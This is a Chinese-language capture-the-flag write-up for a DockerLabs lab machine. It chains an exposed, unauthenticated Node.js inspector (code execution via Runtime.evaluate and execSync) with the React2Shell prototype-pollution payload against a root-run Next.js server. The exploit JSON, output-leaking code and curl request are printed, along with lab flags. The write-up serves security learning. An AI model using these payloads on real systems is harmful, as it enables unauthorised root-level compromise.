平台: DockerLabs 难度: 中等(差不多吧,还是有点门道的) 目标: 从
webuser到root,攻破一个 Next.js
一如既往,先看看面前有什么。
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
等等……9229?这个端口可不寻常。一次完整扫描确认只有两个端口:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
9229 是典型的 Node.js inspector(调试器) 端口。如果它毫无保护地暴露在外,基本上就是一扇通往代码执行的大门。我们来验证一下。
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
搞定了。 Node 调试器暴露在外,无需认证,还顺便告诉我们应用在哪里。这就是直接的 RCE。
调试器暴露后,我们只需连接到 WebSocket,并使用 Runtime.evaluate 在 Node 进程内执行任意代码。
我快速写了一个 Python 脚本,它获取调试器 URL,并通过 process.mainModule.require('child_process').execSync() 执行命令:
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
为了避免引号带来的麻烦,我把整个命令以 base64 发送,并在进程内部解码。第一次测试:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
以 webuser 身份 RCE。 这台机器已经在我们手上了……至少我是这么以为的。结果好东西藏得更深。
看看进程,了解机器上还运行着什么:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
注意看! 有一个 Next.js 15.0.0-rc.1 版本以 ROOT 身份运行在 3000 端口(仅限 localhost)。这闻起来像是权限提升……也像是 CVE。
由于它只在容器内的 127.0.0.1 上监听,我们无法从外部访问。但我们有 RCE,所以可以从内部进入。先看看它是什么:
curl -s http://127.0.0.1:3000/
出现了一个 "Internal Administration Portal"——一个内部管理门户。非常诱人。
我们很快找到了 user flag:
DL{g2QrDUvg3HiqaWeZBbZa}
现在该通过那个 Next.js 提权到 root 了。
版本是 Next.js 15.0.0-rc.1,它使用的 React 19 存在著名的 React2Shell (CVE-2025-55182) 漏洞:一个严重的 RCE(CVSS 10.0),源于 RSC 解析器(React Server Components / Flight 协议)中的原型污染。
该漏洞利用是一个畸形的 multipart/form-data 请求,带有 Next-Action 头,使 React 解析器反序列化一个被污染的对象,最终用我们的代码调用 Function 构造函数:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<要执行的 JS 代码>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
也就是说:污染 Chunk.prototype.then,解析器加载我们的模型,在解析 promise 时,我们的 JavaScript 在 Next.js 进程内执行,而该进程以 root 身份运行。
为了获取输出,我使用了 "redirect" 模式:代码执行命令,将结果进行 base64 编码,并放入一个 Error 的 digest 属性中,Next.js 会将其作为 header 返回:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
最终请求:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
服务器返回 500(这很正常,是故意触发的错误),并在 header 中:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
解码:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
我们是 ROOT 了。 还有 flag:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (Express web,静态,纯属烟雾弹)
└─ 9229 (Node.js inspector 暴露)
└─ 以 webuser 身份通过 Runtime.evaluate 实现 RCE
└─ 枚举:Next.js 15.0.0-rc.1 在 127.0.0.1:3000 以 ROOT 运行
└─ CVE-2025-55182 (React2Shell):root RCE
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags:
| 文件 | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | 漏洞 | CWE | 给我们带来了什么 |
|---|---|---|---|
| 1 | Node.js inspector 未认证(9229 端口) | CWE-284 | 以 webuser 身份 RCE |
| 2 | Next.js 15.0.0-rc.1 过时(React2Shell,CVE-2025-55182) | CWE-1321 / CWE-502 | 以 root 身份 RCE |
教训:
| 工具 | 用途 |
|---|---|
nmap | 端口侦察 |
curl | Web 枚举和触发漏洞利用 |
websocket-client (Python) | 与 Node inspector 通信 |
jadx | 上一台机器(这里没用,但我仍然觉得它很漂亮) |
base64 | 传输 payload 而不被引号困扰 |
本 Writeup 仅供教育目的。只在你获得授权的机器上操作(DockerLabs、HTB、你自己的实验室)。